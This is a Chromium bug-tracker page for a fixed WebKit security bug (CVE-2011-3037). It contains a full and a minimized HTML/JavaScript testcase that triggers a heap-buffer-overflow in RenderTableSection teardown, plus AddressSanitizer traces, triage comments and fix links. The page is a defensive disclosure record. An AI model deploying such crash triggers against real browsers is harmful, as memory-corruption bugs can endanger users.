New issue
Advanced search Search tips

Issue 115028 link

Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Feb 2012
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment

Bad cast in splitAnonymousBlocksAroundChild (part 3)

Reported by miau...@gmail.com, Feb 20 2012

Issue description



VULNERABILITY DETAILS

like 114924 but reproing on 108225

VERSION
Chrome Version: 

Chromium	19.0.1048.0 (Developer Build 122755)
OS	Linux
WebKit	535.22 (@108225)
JavaScript	V8 3.9.7

Operating System: linux 64 bit

REPRODUCTION CASE
<html>
  <head>
    <style>
      #el1 { -webkit-column-count: 2; }
      #el2 { -webkit-column-span: all; }
      #el3 {
        content: counter(c);
      }
    </style>
    <script>
      onload = function() {
        el1 = document.createElement('div')
        el1.setAttribute('id', 'el1')
        document.body.appendChild(el1)
        el2 = document.createElement('div')
        el2.setAttribute('id', 'el2')
        el1.appendChild(el2)
        el3 = document.createElement('div')
        el3.setAttribute('id', 'el3')
        el1.appendChild(el3)
        el4 = document.createElement('div')
        el1.appendChild(el4)
        el1.style.display='table-caption'
        el2.style.display='run-in'
        el4.style.display='table-row-group'
        document.body.offsetTop
        document.body.style.zoom=2
        document.body.offsetTop
        el2.style.display='inline'
        document.body.offsetTop
        el2.style.display='table'
        el4.style.display='inline'
      }
    </script>
  </head>
  <body>
  </body>
</html>


FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: tab of asan
Crash State: 

==20481== ERROR: AddressSanitizer heap-buffer-overflow on address 0x7fffecc9f3c0 at pc 0x520cda4 bp 0x7fffffff8b20 sp 0x7fffffff8b18
READ of size 1 at 0x7fffecc9f3c0 thread T0
    #0 0x520cda4 in WebCore::RenderTableSection::willBeDestroyed() ???:0
    #1 0x51b85a2 in WebCore::RenderObject::destroy() ???:0

0x7fffecc9f3c0 is located 136 bytes to the right of 184-byte region [0x7fffecc9f280,0x7fffecc9f338)
allocated by thread T0 here:
    #0 0x7e14082 in malloc ??:0
    #1 0x4fa6116 in WebCore::RenderBlock::createAnonymousBlock(bool) const ???:0
    #2 0x4fa5035 in WebCore::RenderBlock::splitAnonymousBlocksAroundChild(WebCore::RenderObject*) ???:0
    #3 0x4fa451e in WebCore::RenderBlock::addChildToAnonymousColumnBlocks(WebCore::RenderObject*, WebCore::RenderObject*) ???:0



 
beta-136184p.txt
7.1 KB View Download
stable-136184p.txt
7.2 KB View Download
136184p.txt
7.2 KB View Download
136184p.html
1.0 KB View Download
Status: Available
https://cluster-fuzz.appspot.com/testcase?key=21864066

Claims it's a duplicate of https://cluster-fuzz.appspot.com/testcase?key=19719061, which I couldn't find referenced in any bug?
@inferno: any thoughts on how I should interpret that?

Anyway looks like a possible bad cast to me.

Still waiting for SecImpacts
Labels: SecImpacts-Stable SecImpacts-Beta SecSeverity-High Mstone-17
CF "update bug" button is failing. Adding impacts tags manually.

Summary: Heap-buffer-overflow in WebCore::RenderTableSection::willBeDestroyed
Detailed report: https://cluster-fuzz.appspot.com/testcase?key=21864066

Uploader: cevans@google.com

Crash Type: Heap-buffer-overflow READ 1
Crash Address: 0x7f13d5109fc0
Crash State:
  - crash stack -
  WebCore::RenderTableSection::willBeDestroyed
  WebCore::RenderObject::destroy
  WebCore::Node::detach
  

Minimized Testcase (0.88 Kb):
Download: https://cluster-fuzz.appspot.com/download/AMIfv95e0zHKTSZUgEg4P4G1LOGz35agsrBpw6DMB-ec1mCcMXKVs8Mo3v3qGHwSOKNhdfe0Wy1KQDRkQoJkgLaOiRfyDyaDt3RrC84NR89yqqx_-yJSZtFd3A6NK850rtxqBVBfK5qwrJwo-88bYNqB5fiqpGi8dw
<style>
      #el1 { -webkit-column-count: 2; }
      #el2 { -webkit-column-span: all; }
      #el3 {
        content: counter(c);
</style>
    <script>
      onload = function() {
        el1 = document.createElement('div')
        el1.setAttribute('id', 'el1')
        document.body.appendChild(el1)
        el2 = document.createElement('div')
        el2.setAttribute('id', 'el2')
        el1.appendChild(el2)
        el3 = document.createElement('div')
        el3.setAttribute('id', 'el3')
        el1.appendChild(el3)
        el4 = document.createElement('div')
        el1.appendChild(el4)
        el4.style.display='table-row-group'
        document.body.offsetTop
        document.body.style.zoom=2
        document.body.offsetTop
        el2.style.display='inline'
        document.body.offsetTop
        el2.style.display='table'
        el4.style.display='inline'
      }
    </script>
Labels: -Pri-0 -Area-Undefined Pri-1 Area-WebKit Stability-AddressSanitizer OS-All
Summary: Bad cast in splitAnonymousBlocksAroundChild (part 3)
Owner: infe...@chromium.org
Status: Started
This is not same as other splitAnonymousBlocksAroundChild bugs. It shows a fundamental problem with adding child to anonymous column blocks.
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Approved
Status: FixUnreleased
http://trac.webkit.org/changeset/109140
Labels: -Merge-Approved Merge-Merged
M17: http://trac.webkit.org/changeset/109436
M18: http://trac.webkit.org/changeset/109437
Labels: reward-topanel
Labels: -reward-topanel reward-1000 reward-unpaid
$1000

----
Boilerplate text:
Please do NOT publicly disclose details until a fix has been released to all our
users. Early public disclosure may cancel the provisional reward.
Also, please be considerate about disclosure when the bug affects a core library
that may be used by other products.
Please do NOT share this information with third parties who are not directly
involved in fixing the bug. Doing so may cancel the provisional reward.
Please be honest if you have already disclosed anything publicly or to third parties.
----
Labels: CVE-2011-3037
Labels: -reward-unpaid

Comment 14 by cdn@chromium.org, May 15 2012

Status: Fixed
Marking old security bugs Fixed..
Project Member

Comment 15 by bugdroid1@chromium.org, Oct 13 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member

Comment 16 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Type-Security -Area-WebKit -SecImpacts-Stable -SecImpacts-Beta -SecSeverity-High -Mstone-17 -Stability-AddressSanitizer Cr-Content Security-Impact-Stable Security-Impact-Beta Security-Severity-High Type-Bug-Security M-17 Performance-Memory-AddressSanitizer
Project Member

Comment 17 by bugdroid1@chromium.org, Mar 13 2013

Labels: Restrict-View-EditIssue
Project Member

Comment 18 by bugdroid1@chromium.org, Mar 13 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member

Comment 20 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-High Security_Severity-High
Project Member

Comment 21 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 22 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member

Comment 23 by bugdroid1@chromium.org, Apr 1 2013

Labels: -Performance-Memory-AddressSanitizer Stability-Memory-AddressSanitizer
Project Member

Comment 24 by bugdroid1@chromium.org, Apr 6 2013

Labels: -Cr-Content Cr-Blink
Project Member

Comment 25 by sheriffbot@chromium.org, Jun 14 2016

Labels: -security_impact-beta
Project Member

Comment 26 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 27 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Labels: CVE_description-submitted

Sign in to add a comment